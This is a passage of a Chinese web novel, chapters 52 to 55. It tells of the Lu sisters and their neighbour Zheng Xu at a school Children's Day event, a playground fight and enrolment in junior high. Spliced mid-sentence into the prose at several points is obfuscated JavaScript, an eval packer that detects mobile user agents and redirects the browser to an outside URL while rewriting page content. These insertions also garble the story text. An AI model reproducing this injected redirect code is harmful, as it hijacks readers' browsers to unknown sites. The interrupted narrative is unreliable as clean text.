开篇就提郑松死了,死在了2008年奥运会的尾声里。 班上的同学都沉浸在郑煦朴实文笔带来的感动里,抛开现实不谈,的确是篇优秀作文。 …… 为了过节,当一个最年轻时尚的摊主,陆易安求着刘秀珍带她去发廊做个非主流爆炸头的造型。 刘秀珍没空搭理她,她只能自己做。 做法是左手扯着一绺头发,右手用梳子在上面来回剐蹭,刮出炸毛的效果后再喷上发胶。 陆果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488961|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果也想改变造型,她觉得夏天太热了,想做个清凉一点的发型, 看陆易安给自己做爆炸头做得有模有样的,陆果果花了一块钱请托尼.安老师给她做了一个前无古人后无来者的时兴发型。 陆易宁在隔壁陪郑煦排练,排练结束后,回到家,一进房间就看见陆易安成了半个非主流。 齐刘海被发胶弄成了斜刘海,后面的头发跟顶个鸡窝一样。 陆果果正面看起来没变化,陆易宁绕到她身后,眼珠子差点没掉出来。 “你们两个今天晚上最好赶紧把头发弄好,妈回来看见,别说今年儿童节了,我们家连过年的炮仗都不用买,听你们两个挨打就是过年了。” 陆易安将手上的刮胡刀放到桌上,盯着陆果果的后脑勺看了半晌,开始觉得陆易宁说得有理。 吃晚饭的时候,斜对面的罗玉美因为乱剪头发挨了黄兰一顿揍。 饭桌上,陆易安和陆果果对视一眼,不敢说话了。 第二天,六一儿童节。 陆果果报名了两个比赛,硬要拉着父母去学校看她比赛。 手上没活,陆平今年终于有时间去学校看女儿过儿童节。 陆易安起了一大早,她要收拾自己卖的东西和熊茜乐去摆摊。熊茜乐卖水果捞,她卖小裙子和沙包。 刘秀珍不允许陆易宁今天穿个卫衣运动裤就上台去演讲,她需要注意点形象。 平日里陆易宁的穿着就是天冷圆领卫衣卫裤,最多在外面套件棉衣,天热就是纯色T恤加薄的卫裤,雷打不动。 今天,刘秀珍专门给她穿了一身正式的衣服。 黑色的小西装马甲搭配衬衫,刘秀珍还贴心地给她做了一个灰色蝴蝶结的领带,下身就是一条黑色的五分西装短裤。 母亲在忙做早餐,陆易宁和陆果果穿好衣服下楼,陆平跟个妖精似的在镜子前捯饬他的两块瓦发型。 陆平的注意力转在两个女儿身上,陆果果给自己别上小花发夹,说:“我今年才不梳两块瓦的发型,跟个汉奸头一样。” “什么汉奸?”陆平扭头看着镜子臭屁地说:“两块瓦多帅。” 陆易宁看了陆果果一眼,差点没憋住笑出来,“我觉得两块瓦比你真实的发型好看。” 陆果果怕她乱说,提前警告道:“你别当多嘴婆!” “哎呀,我家二女儿今天帅气得很。”陆平的主意又打到陆易宁头上,手里拿着发胶说:“来,爸爸给你弄头发。” 又是两块瓦。 “爸,你知道有次你带我和妹妹去吃酒席,给我们梳两块瓦的发型吗?”陆易宁说:“当时有几个男人笑你没儿子,所以故意给我们梳两块瓦,把我们当儿子养。” “乱讲!”陆平脸上的笑容逐渐消失,将发胶放回原位。 不梳了,不梳了。 52.五十二章 陆易宁最后的辫子是刘秀珍扎的,一个半扎发丸子头。 学生们需要提前去学校集合,家长则是九点过后才出发去学校。 陆易安的摊子在学校校门口,她提前和小吃街上卖洋芋粑粑和零食的老板娘说好了,六一儿童节要占用她家门口的一点地盘卖东西。 家长们来了,大多都是在学校到处游到处参观。 此时参加表演节目的学生们在老师的带领下,排队站在主席台下方抽表演序号。 陆易宁已经抽了自己的签,她的演讲排在第七个出场。 郑煦还在排队,而赵倩已经来学校了。 赵倩手里推着婴儿车,和刘秀珍在花坛旁边欣赏学校特意摆出来的绘画书法等优秀作品。 长长的一排公布栏上,前几个都是各个年级优秀学生的照片。 刘秀珍看见自家二女儿被评为优秀少先队员和优秀学生的照片贴在公布栏上,要多得意有多得意。 赵倩手上推着郑乐悠的婴儿车,在陆易宁照片下方的一个个人头里找到了郑煦,也很满意。 陆易宁去找她们,老妈和倩倩阿姨正在书法优秀作品的公布栏前方看自己的作品。 而旁边就是优秀作文的展览栏。 赵倩看见被贴在中心位置的金奖作文上写了“五年级一班郑煦”这几个字,差点吓了一跳,“郑阳阳这小家伙,作文比赛得了金奖都不知道跟我说一句。” “是吗?”刘秀珍看完女儿的书法作品,又去看郑煦的作文。 旁边还有几位看孩子作文的家长,听见赵倩这样说,同时向她投过去有点复杂异味的目光。 羡慕中又带有一点同情。 “是吗?”其中一个同学的妈妈说:“你就是得了金奖的这个孩子的家长吗?” “对啊!”赵倩压根没看内容,只顾着显摆了。 她小学都没读几年,而且是混日子的读法,就算认真看一遍,说实话,也不知道内容写的是什么。 看见陆易宁走过来,赵倩连忙招手喊她过去。 陆易宁走到公布栏前,赵倩笑意盈盈地说:“七七,你普通话好,认得的字多,给我读一下郑阳阳得了金奖的作文。” “读啊读啊!”能在别的家长面前显露女儿的演讲水平,刘秀珍自然是很热心地鼓励。 舞台上的音响里在播放《最炫民族风》。 在一阵哗啦啦的节奏里,陆易宁推脱不开,只得缓缓开口:“2008年,在奥运会的热闹还未消散的尾音里,我家里的热闹彻底消失了。假期中,我的闹钟铃声是母亲在厨房里忙碌的声音。那一天,我的闹钟铃声变成了母亲嚎啕的哭声。从此,母亲那天的哭声在我的脑海里挥之不去。” 赵倩听着听着,慢慢地回忆着郑松差点出事当天的情景。 陆易宁继续读着:“隔壁的阿姨跑来我家,说父亲出了事故,人和车掉在了马路下方,人没了。” “郑松死了?”刘秀珍和赵倩异口同声。 陆易宁读也不是,不读也不是,在赵倩的要求下,随着音响里播放的《爱的供养》伴奏,读完了整篇作文。 “……” “那一夜,父亲和他开着的车子坠入二十米的深渊,我和母亲坠入了没有父亲的幽谷。但我是父亲的儿子,我需要接替他的位置照顾好母亲。我不能活在过去,我需要向前看,我要用父亲的离开鞭策自己,促使自己长大,带着母亲勇敢走向没有父亲的未来……我的父亲死在了2008年,但是我相信他在未来等着我和母亲,我和母亲要风风光光地活下去,与他再一次重逢。” 赵倩听完,内心百感交集。 这或许是当日孩子站在房间门口,看见自己因为他爸爸出事崩溃大哭,所以有所感触。 可问题是……他爸没死啊! 边上的几位家长听得泪眼婆娑,不过低下头看见赵倩脚边婴儿车里对着自己笑的小女孩。 额……事情好像不太对。 一个二十多岁的年级姑娘对着郑乐悠笑了笑,“哎哟,小妹妹真漂亮,她姓什么啊?” 赵倩后知后觉地回道:“姓……姓郑啊。” 几人同时看向金奖作文右下角的名字——郑煦。 哎哟,这可怜孩子的老妈再嫁,找的还是跟孩子爸同姓的男人。 …… 轮到陆易宁上场了。 主持人在舞台上介绍着:“接下来,有请五年级二班的陆易宁同学上台演讲。” 陆易安最讨厌看的节目就是演讲,不过听见音响里主持人说了陆易宁的名字,赶紧将手里用来展示衣服的芭比娃娃交给熊茜乐,“到我妹上场了,我去看看,你先在这守着。” 刘秀珍和陆平在台下用力鼓掌,赵倩推着婴儿车,思绪早就飞到九霄云外。 郑煦是第十八个上场表演的,他一上舞台,台下的人就一直在笑。 他特意去找了老师把两个脸蛋涂得红红的,脑门中间还印了个大红痣,像极了电视机里的年画娃娃。 “唉,到你家郑阳阳了。”刘秀珍推了赵倩一掌,才将她喊过神。 郑煦选的歌曲是一手很欢快的歌,一首由刘惜君演唱的动画主题曲——《快乐女孩》。 前奏一出,台下的女学生们都跟着欢呼。 “我要甜甜的味道 我要香香的泡泡 不要咸咸的眼泪 我要星星都闪耀 …… 笑一笑跳一跳 快乐女孩没烦恼 下雨了洗个澡 没有什么大不了” 郑煦在舞台上跳着陆易宁给他编排的舞蹈,台下的评委们被他欢快的表演逗得跟着拍手扭动身子。 郑煦在舞台上说这首歌是唱给他妈妈听的,希望她的妈妈不要烦躁,永远是个快乐女孩。 “这个郑阳阳真的是。”赵倩在太阳底下,被太阳光刺得眼睛发酸,眼泪大颗大颗地掉。 …… 郑松来学校,这里逛那里逛的,孩子的表演全部错过了,逛完校外,进学校逛。 连孩子的班级在操场上的哪个位置都不知道。 跟着公布栏一路看下去,此时郑煦的语文老师正在公告栏前整理差点被风吹散的作文纸张。 郑松停在优秀作文展示栏前,看见儿子的名字在正中间的优秀作文上,骄傲地抱起双手,“哎呀,这小家伙,有点意思嘛。” 语文老师看见他在看班上同学的作文,问道:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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慌乱中,陆果果的发圈被扯坏了,头发散开,顿时觉得后脑勺凉嗖嗖的。 不管了,先打了再说。 陆易宁慌乱中看见陆果果暴露在空气中的头皮,她知道不该笑,但是就是忍不住。 昨天陆果果花大价钱请陆易安给她做的发型就是用陆平的刮胡刀,将后脑勺的头发全剃了,只留脑袋外面的一圈头发。 这样的话,天气热,头发一少,凉快不说,将外边的一圈头发梳拢,扎在后脑勺,遮住被剃干净的地方,别人也不知道自己剃过头发。 “天!菩萨!这是着哪个鬼扯了?”刘秀珍拉着拉着架就看见女儿发亮的后脑勺,瞬间蒙了。 陆平也是。 情况紧急,但为什么总是想笑呢? 围观的吃瓜群众被陆果果时兴的发型逗得哈哈大笑,战争结束,陆果果才发现自己好像丢了个大脸。 连后续重新举行的比赛都不参加了,就跑去校门口陪陆易安卖裙子。 53.五十三章 一篇以郑松之死为主题的文章,还有一首《快乐女孩》激发出赵倩对儿子汹涌的爱意。 好像郑煦在作文里写郑松死了也没关系,赵倩感受到的仅仅是儿子对她的爱。 凶巴巴的面具戴了两个月,赵倩又变成了以前那个温柔知性的母亲。 儿童节过后,郑煦发现母亲对他的耐心增多了。 久而久之,皮子又开始痒了。 不知道上哪捡了个鬼脸面具,每天放学后,专门守在女厕所门口吓唬打扫厕所的值日生。 陆易宁被吓了一次,二话不说握着拳头追着他揍。 过了几天,陆易安上厕所出来,也被吓了一大跳。 陆易安的戏很足,郑煦要跟她玩吓人,那就看谁能吓死谁了。 陆易安被吓到后,惊恐的反应过后不是愤怒,而是心有余悸地顺着胸口吐气。 郑煦怕真的吓着她了,连忙将面具拿开,“你没事儿吧?你怎么突然变得这么胆小?” “废话,我还以为厕所里的怪物又出现了。”陆易安拍着胸口说:“不过我忘了,厕所里的鬼怪只在男厕所里面才出现。” “男厕所有鬼?”郑煦显然不信,“你骗谁啊?” 陆易安知道没有证据吓唬不了他,回家后专门回房间拿了一张照片给他。 照片上是一个脸色惨白,一身黑,头发很长很乱,手上全是剪刀的怪物。 陆易安神色凝重,再三向郑煦强调,怪物叫做刘德华,近一年才从森林里跑出来,只会在男生上厕所的时候出现。如果上厕所时看见照片上的这个怪物,不要说话,赶紧跑, 不然……茶壶嘴会被剪掉的。 郑煦听过刘德华的名字,但是不知道他是做什么的。许多人都知道这个人,看来这个怪物的吓人程度很出名。 郑煦不相信,直到傍晚郑松上厕所被吓到,从厕所里跳出来。 郑煦听见动静去问发生了什么,郑松只是说厕所里有脏东西跑走了。 其实是一条蛇在厕所的洞口蜕皮,郑煦问是什么,郑松怕吓着郑乐悠和在后院吃西瓜的陆易安,就说没什么。 陆易安靠着后门,“你看,我就说吧,这几天男生千万不要在天黑的时候去厕所。现在天都还没怎么黑,你爸都被吓着了。那个怪物只在天黑的时候出来透气,白天有太阳,他会灰飞烟灭的。” 陆易安又编了很多小男孩被怪物恐吓的例子给他听。 郑煦的视线连忙从厕所转过来,说实话,他心里有点怕了。 可是自己才吃了西瓜,想尿尿了怎么办? 陆易安不说还好,说着说着他一着急,尿意就来了。 算了,先回房间做作业。 做了半个小时作业,郑煦实在忍不住了,拿着手电就往厕所里跑。 刚到厕所门口,他就看见洗手台上放着一把黑色的剪刀。 剪刀!!! 郑煦强忍住尿意,算了,再忍忍。 …… 晚上九点,陆易宁在房间里看书,看着看着就听见赵倩骂郑煦的声音。 好像是在骂他尿裤子还是不肯上厕所什么的。 陆易宁下楼去看热闹,只看见郑松提着棍棒逼着郑煦去厕所。 赵倩在院里骂骂咧咧的,不像是在生气,倒像是在憋笑,“刘德华那么无聊吗?专门守在你家厕所里面。” 陆易宁问:“倩倩阿姨,怎么了?” “郑阳阳说刘德华藏在厕所里,拿着剪刀要剪他的小**。”赵倩眼睛瞪着从厕所里出来的郑煦,“竟然敢侮辱老子的偶像!” “陆安安就是那个样子说的嘛!”郑煦委屈地反驳道:“她给我的怪物照片就是那样的嘛,那个怪物手上全是剪刀,还掉了一把在我们家厕所里面。” 郑松打了他的后脑勺一巴掌,“厕所里的那把剪刀是我下午上厕所的时候,裤带打了死疙瘩,解不开,我拿去剪裤带的。” 陆易宁看完好戏,“那个怪物的照片呢?” 郑乐悠听见陆易宁要照片,去垃圾桶里翻出来,摇摇晃晃地送到陆易宁跟前。 陆易宁看着照片,除了无语就是无语。 这肯定是这辈子爱德华和刘德华被诬陷得最厉害的一次。 照片上的怪物是《剪刀手爱德华》里爱德华的剧照。 丢了脸,为了报复陆易安,郑煦专门去买了一条塑料仿真蛇,在陆易安小升初考试结束当天,故意扔在陆家放电视机的桌子上。 陆易安考完试回来,正要打开电视,被假蛇吓了一跳,又提着假蛇追着郑煦抽。 …… 九月,陆易安升入初中,正式成为一个初中生。 初中生的生活可比小学生累多了,每天七点半要上早自习,晚上晚自习要上到九点半。而且,一周只放一天假。 还好初中学校就在上游街街口,从家里去学校,慢走的话,最多二十分钟。 陆易宁明显感觉到陆易安进了初中,人显得疲惫了。有时候郑煦在她面前张牙舞爪,她都懒得动手打人了。 课业多是一回事,觉明显不够睡。 大姐大被送进了初中受折磨,李圆圆又开始被高年级的同学针对上了。 这一次,哪怕把她认识的高年级学生——陆易宁喊上,也压不住那帮从小心术就歪的东西。 国庆放假,周六需要补下周三的课。午休的时候,陆易宁带着陆果果和李圆圆在小吃街买凉面吃。 蹲在校门口,凉面刚吃了两口,李圆圆手上的凉面就被两个小学生还有一个穿着初中校服的女学生打翻。 “你爸死了,你不是说没钱吗?”其中一个男同学抱着手嘲讽道:“是赔了多少钱啊?你居然能吃凉面了!” 李圆圆对于这个情况已经见怪不怪了。 堵在她前面的三个人跟她是同一个村里的,家离得很远,她也不怎么认识他们。 李守钧死了没多久,这几个人还在池塘边上围堵她,跟她要钱花过。 李圆圆的手上全是辣椒油,陆易宁从口袋里抽了两张卫生纸给她,“凉面是我请她吃的,你们没事儿吧?” “那你也请我们几个吃一碗呗。”穿初中校服的女生走上前,她跟陆易宁差不多一样高,不过是套了一件初中的校衣,就觉得高人一等了。 她的校衣很白,虽然面前有些脏了,但是可以看得出这是初一新发的校服,还没过个几道水,依稀还能闻得出衣服出厂自带的气味。 “真的要吃吗?” “不然嘞。” 陆易宁蹲下去,抓起地上的凉面,全敷她脸上,辣椒油进了眼睛里,女生被辣得原地大跳,各种脏话全部连绵不断砸向陆易宁。 大战一触即发,三人对三人。 脏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493035|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话担当伴奏,六个人扭打在一块。 街边的商户一看不对劲,连忙跑出来将几个孩子拉开。 “bitch!whore!” 连英文的脏话都用上了。 陆易宁记得第一世读初一,开始学英语了,有的同学在吵架的时候会故意说英文骂人。 那时候,用英语骂人的杀伤力很低,什么pig dog 的,实在没什么攻击力,嗓门大就行。 不过今天这个用英语吵架的初中生有点本事,居然还知道bitch和whore。 陆易宁被卖凉面的阿姨拉着,对面几个被卖玩具的大叔拦着,虽然如此,嘴上功夫还在继续。 用外语骂人,谁不会啊! “西八,gae saekki ya,you bastard,f**k you, f**k you and especially f**k you……” 虽然行为有点幼稚,但是骂得爽啊! 下午,陆易宁和陆果果将李圆圆带回家。 那几个小败类跟她同村,从李圆圆的描述来看,他们的父母也不是好东西。 碰见屎就只能离它远一些吧。 陆易安放学回来,陆果果手比脚画地给她描述中午打架的事迹,还说陆易宁用英语骂那几个家伙骂得她们摸不着头脑。 “你骂什么了?”陆易安两眼发光,看着陆易宁时,眼神里带着求知的欲望,“是不是小丽姐教给你的高层次骂人脏话?” 陆易宁打开电视机,坐在椅子上,若无其事地摇头,“没什么?我看美国的电视剧随便学的。” “真的?”陆易安不信,“快点说嘛。” 李圆圆诚实地说:“好像是什么油什么油的。” 陆易安:“油?you?” 陆易宁手一拍,“就是how are you的意思,只不过他们听不明白。” “啊?攻击力这么弱的吗?早知道我教你。”陆易安兴致缺缺,靠坐在沙发椅上,“你跟着小丽姐学了那么久的英语,就没学个稍微有点用的?” “能学什么有用的?” “比如,”陆易安坐直身子,“比如看见一个长得帅的男生,你该怎么夸他帅,怎么跟他打招呼?” “陆安安,你不会……啧……”陆易宁砸着嘴,难以置信。 现在的小孩都这么早熟的吗? “你跟我说嘛!” “好,那我教你一个。”陆易宁正襟危坐,“你看见一个男生,只需要用眼神上下打量他,然后意味深长地问一句how u doing~” “这么简单的吗?听起来跟how are you差不多呀!” “重要的是语气,你想想你看偶像剧时,那些男主油得要死的表情和神态,配上这句话就差不多了。” …… 周星今年读了高二,跟她姐姐一样,也在县一中。 一进高中,这家伙跟顿顿吃饲料一样,个头蹭蹭蹭地长。 正是陆易安喜欢的高个子。 国庆假期第二天,周星出门买东西,陆易安专门在路口等他回来。 周星看见她站在路口,还分了他一根棒棒糖吃。 陆易安:“hey~how u doing~” 周星一脸懵逼,“fine?” 54.五十四章 快两年了,李圆圆的母亲终于在浙江站稳了脚跟,今年回来过年,顺便将李圆圆接去了浙江。 她离开之前,陆易宁抄写了刘秀珍的电话给她。 截止目前,李圆圆只打过三次电话回来。 每次都是在李圆圆母亲的催促声里将电话挂断。 三通电话,陆易宁和陆果果简单了解到她在浙江的生活。她和母亲哥哥租房子住,还学会骑着自行车去上学。平日里放学回家后帮母亲做做家务,有时间的话还可以去回收站打工,赚赚零花钱。那里的学校很好,老师也很好。学校里有专门的画室,画室外面的走廊里,墙上陈列着不同风格的画,她经常去画室里看画。 五一过后,李圆圆就没再打过电话来了。 陆果果打过去,每次都打不通。 明显是被人拉小黑屋了。 陆果果换了一个同桌,新的同桌是一个父母在中学旁边开小吃店的女生。 人长得胖胖的,很喜欢吃零食,在班上经常被人嘲讽成死胖子,每当这时,女孩就会自卑,零食也不吃了,神色恹恹地自怨自艾,“我好胖啊,他们都说我穿的裤子,一点褶都看不出来。” 听到她抱怨,陆果果就会以陆易宁为例子来安慰她:“我姐比你还胖,她从来不会管别人说什么,没关系的,能吃是福。” 陆易宁全然不知陆果果口中的自己,直到某天下午上数学课时,陆果果的班主任跑到六年级的教室门口,点名要喊陆易宁出去劝架。 陆果果居然把她同桌骂哭了。她的同桌在教室里乱砸东西,陆果果就在一旁喊加油。 怎么拉都拉不住。 老师了解到矛盾因陆易宁而起,没办法,只能喊陆易宁出面。 陆易宁跟个丈二和尚摸不着头脑。 陆果果此时和同桌站在花坛旁边,小胖子委屈巴巴地哭个不停,陆果果双手叉腰,嘴巴一直在骂人。 今天下午第一节课下课,同桌又在说自己胖,陆果果再次将陆易宁搬出来安慰激励她。 谁知道同桌觉得陆果果在侮辱她,气冲冲地朝着陆果果吼,“我见过你姐,她长得比我还胖,根本不像你说的那样。你姐长得丑死了,我看她那样跟个憨包一样,哪有你说的那么厉害。比我还差劲,你就别拿来当好例子说给我听了好吗?” 好心安慰你,你反过来咬我一口,还踩低我姐! 陆果果才不会惯着她,“我姐跟个憨包一样,那就是一大坨狗屎你知道吗?我好心鼓励你,你反过来踩我,活该班上没一个人愿意跟你玩……” 陆果果骂爽了,同桌下课时强忍着,一到上课越想越伤心,一下子将课桌上的书全推在地上,趴在桌上使劲哭。 陆易宁跟着老师下楼,隔远就听见陆果果的骂声,“就你还好意思说我姐不配,你演讲比赛得过第一吗?你数学考过满分吗?你参加过数学竞赛得过奖金吗?你书法得过奖状吗?你去年六一儿童节参加作文大赛,得过金奖吗?你一天天的只知道吃,什么都不是还好意思说别人。说我姐丑,你更丑!” 陆果果居然也有把别人骂哭了的能力。 虽然小胖子哭得伤心,但是陆易宁听见陆果果维护自己的声音,心里还是暖暖的。 “我去年的作文没得金奖哈,”陆易宁跑过去,将陆果果拉开,“但是别的我都得过。” 正主跑到跟前,小胖子哭得泣不成声,不敢当面承认,“是陆果果说你比我还胖,我才说你的。” 陆果果瞪着她,“是我说错了,你一个抵我姐两个!” 陆易宁了解了来龙去脉,莫名其妙就被一个人说丑,说是傻子。讲真的,心里有点窝火。 自己哪里丑了,虽然是胖了点……也不丑啊! 但是她是跟着老师来劝架的,不是来加入战斗的。 好说歹说才将两个小孩之间的矛盾调解好,陆果果的班主任都有点佩服她。 陆易宁:我上一世可是考了教师编的人,只是没去当老师罢了。 陆果果成功换了一个同桌,新的同桌是个小男生,结果新同桌偷她的香蕉吃,一天的时间,她就跟同桌打了两次架。 没办法,班主任调了另一个比较乖的女生和她坐一块。 …… 小升初的考试时间说到就到,六月下旬,陆易宁参加了考试,正式结束自己的小学生涯。 接下来,是自己的噩梦初中了。 风阳镇的初中,每个年级有十个班。 陆易宁第一世时,分在三班。 第一世的她,第一次读初中,不了解学校里的老师。一味地认为在学校里出名的老师,要么是个好老师,要么是个严师。 当时她以为严师等于好老师,觉得分在三班,遇上一个教学严厉的老师还不错。 直到亲身体会到,她才发现有些老师出了名的严和是个好老师完全不是一码事。 老师在学校出了名,很可能他就是个人见人骂的神经病。 第一世的班主任是个中年男老师,教数学。 家长们奉行严师出高徒的哲理,恨不得自家孩子被分在这个老师的班上。 陆易宁当时觉得幸运,直到上了半年的数学课,她差点抑郁。 数学老师压根就是个神经,教学质量说不上高,打压学生的本领杠杠的,而且极其拜高踩低。 所谓的教学严厉,不过是对于普通学生,能贬低就贬低,贬低学生自己,贬低学生家庭和父母,而面对父母是双职工的学生,他就是和颜悦色的。 教育男同学用脚踹,教育女同学靠毒嘴打压。 他教出去的好学生被学校大肆宣扬也是有原因的,成绩好自然是不用说,抗压能力也是一流的。 陆易宁没有那个本领,她心里承受能力弱,被污蔑作弊,当众羞辱几次后,她成功恨上了他,也连带恨上了他所教的数学。 上一世读初中她也被分在这个老师的班上,然后在新生开完大会,被班主任带去教室时,她随便跑去了另外一个班,糊里糊涂地就转班了。 因为刚开学,分班名单也是个初始名单。学生的学籍资料班主任还没着手整理,等到学籍信息落实到具体的班级,那才算是板上钉钉。 上一世陆易宁并没有碰上他。只不过这一世,大概率会碰上。 小考成绩出来,陆易宁的分数还不错。 初一新生的报名时间在开学前一周。陆易安作为读初中的大姐,为了带妹妹去报名,早就摸清了新生报名的流程。 有这样一个姐姐在,第一世陆易宁读初中读高中的报名事宜都是她带着去的。 这一世也不例外。 陆易安揣着陆易宁的学杂费,一大早就带着郑煦和陆易宁去学校。 学校除了固有的书学费以外,走读的学生要交晚自习费,周六补课的费用,住宿的学生还要交住宿费。 当然,这些对于好学生是免了的。 陆易宁和郑煦的小考成绩还不错,固然在好学生的名单里。 陆易安将陆易宁和郑煦的报名表和身份信息登记表交给报名处的老师,老师在电脑里调出陆易宁的成绩,推了推眼镜,“陆易宁同学就是你啊,你的学杂费都是免了的。” 排在后面等着的家长哇了一声,都在看着陆易宁。 陆易安得意地回头,“她是我妹。” 轮到郑煦,学杂费也是免了的。 几个小孩在家长们的注视下走出办公室。 原本刘秀珍还给了几百块钱,让陆易安带来给妹妹交晚自习的费用,眼下是用不到了。 陆易安大手一挥,“走,我请你们嗦粉去!” 陆易宁质疑道:“你不会是想用妈早上给你的那些钱吧?” “拜托,你们两个免费读书诶,省了这么多钱,花点怎么了。”陆易安信誓旦旦地说:“我保证,回到家老妈才不会骂我们。” “对啊对啊!”郑煦说:“我也想用,待会我就在街上给郑优优买个遥控车。这是他哥考试挣的钱,有什么不能用的。” 陆易宁:“你明显是给你自己买的好不好。” 如陆易安所说,即使用报名费在粉馆吃了羊肉粉,还给陆果果和郑乐悠买了小笼包,但是一去裁缝店向刘秀珍说陆易宁的学杂费全免,刘秀珍压根不在意这二十几块钱。 她女儿读书连学杂费都不用交,高兴还来不及呢。 但是郑煦被骂了,他在超市买的遥控汽车是将近两百块的。 新生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498673|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开学第一天,校门口的公布栏上贴了初一所有班级的学生名单。 新生一进校,第一步就是在校门口公布栏找自己的名字。 陆易安挤在前面,帮陆易宁找到了。 遭雷劈的,跟前两世一样,又被分在三班, 陆易宁从人群里挤出来,又要乱选一个班了。 现在初一十个班的班主任拿着带有班级号的牌子站在操场主席台上。一班,二班,三班……从左到右依次排列。 陆易宁心不甘情不愿地站在三班的地界,望着主席台上头顶半秃了的班主任,心里非常烦闷。 都第三世了,即使这一世还没有机会上他的课,她对这号人物还是感到厌烦,尤其是听到他喊了自己的名字时。 爱会消失,恨不会。 班主任喊了几次她的名字,她都不答应。 各班班主任点完名,接下来是校长发言,教导主任发言,安全办主任发言。 在太阳底下挨过冗长的车轱辘话后,接下来跟着班主任去教室。 这个时候就是最好的时机。 陆易宁自动脱离大队伍,随便跑去了七班的队伍。 她上一世跑去的是四班,四班的学生不太行,男女生都爱拉帮结派搞小团体,氛围不好。 跟着新的班主任走进七班的教室,现在学生们相互不认识,随便混进来也没什么。 陆易宁插进来,这个班有六十八个人,教室里的课桌刚好坐满。 陆易宁坐在入门后的第一列,第四排的位置,同桌是个个子比较矮的女生。 屁股还没坐热,肩膀就被人拍了一下。 陆易宁回头,是郑煦。 郑煦被分在七班她是知道的,自己选择七班其实是随便乱选的,选的时候压根没注意七班有郑煦这件事。 “你怎么在这?”郑煦狐疑道:“你不是我们班的吧?刚才在操场上点名的时候我都没听见你的名字。” 陆易宁理直气壮地说:“我就是这个班的,你听岔了!” 班主任是个三十多岁的女老师,带着黑框眼镜,瘦瘦小小的,穿着一身西装裙子,走向讲台,咳了两声,下面的同学自动消音。 女老师在黑板上写了两个字,周玲。 “同学们好,我是你们的班主任兼英语老师。我叫周玲。”周玲微笑道:“我以前教过的学什么私底下都会喊我玲姐,当然了,课上都是叫我老师的。我呢,虽然个子不高,但是我音量高。所以啊,别惹我生气。我还是想以和蔼可亲的“玲姐”形象来跟你们相处。” 陆易宁随着同学的们稀稀拉拉的笑声笑了笑,第一堂课主要学生是跟班主任相互认识,是不会讲课的。 班主任立威后,拿起学生名单,又开始点名。 还有这一茬。 陆易宁撑着下巴,漫不经心地左顾右看,班主任点完名了,同桌都没听见她的名字。 “你叫什么啊?我怎么没听见你答到啊?”同桌扯了扯陆易宁的衣袖问道。 “我……我叫陆易宁,我是……新转来的。” “我叫陈思云。”同桌纳闷道:“今天才第一天,你就转班了吗?” 陆易宁心虚地点头,“嗯,对的。” “没来的举手!”班主任故意开了个玩笑,扫了一圈,“看来该来的都来了。” 不该来的也来了。 下了课,陆易宁去上厕所回来,还没到教室就被郑煦堵在教室门口的花坛旁,“我们班的名单上压根没有你的名字。” “嗯,我是故意跑过来的。”陆易宁诚实地说:“我分到的那个班,班主任不行,烦死了,我不喜欢,所以我随便跑来你们班。你要是敢多嘴,我一旦被赶回了原来的班级,要是被那个老师针对,我就告你爸你妈!” “这才第一天,你连班主任的名字都是第一次听说吧,你怎么知道他人不行?” “废话!”陆易宁把陆易安搬出来,“我姐是谁?陆易安!我们那个班主任是全校出名的,陆易安会不知道?” “那你不能换个别的班级吗?” “怎么,怕我盯着你?稍有一点不满就回去告你爸妈状?”陆易宁冷笑一声,“我连我都顾不上,才没那个功夫搭理你。” 55.五十五章 由于陆易宁开学第一天,在操场点名的时候没有答到,原来的班主任仅仅是以为这个学生没来学校读书。 陆易宁在班上上了半个月的课,直到周玲整理学生的学籍信息的时候,没有找到陆易宁的信息,喊她到办公室。 陆易宁稍加修饰一番,说自己是当初分班时与原班级走散了,又忘了自己原本的班级哪个班。 这个谎言漏洞百出,校门口贴的有分班信息的公布栏现在还在,她但凡想去找原来的班级,现在都能去。 不过周玲就是相信了。 因为陆易宁的小考成绩优秀,而且上了一个星期的课,她发现每次上英语课,陆易宁的表现都很好。 初一新生面对英语这门全新的课程时,刚开始一段时间的学习是很难的。而无论是音标还是单词,她简直是一点就通,课上也很积极。 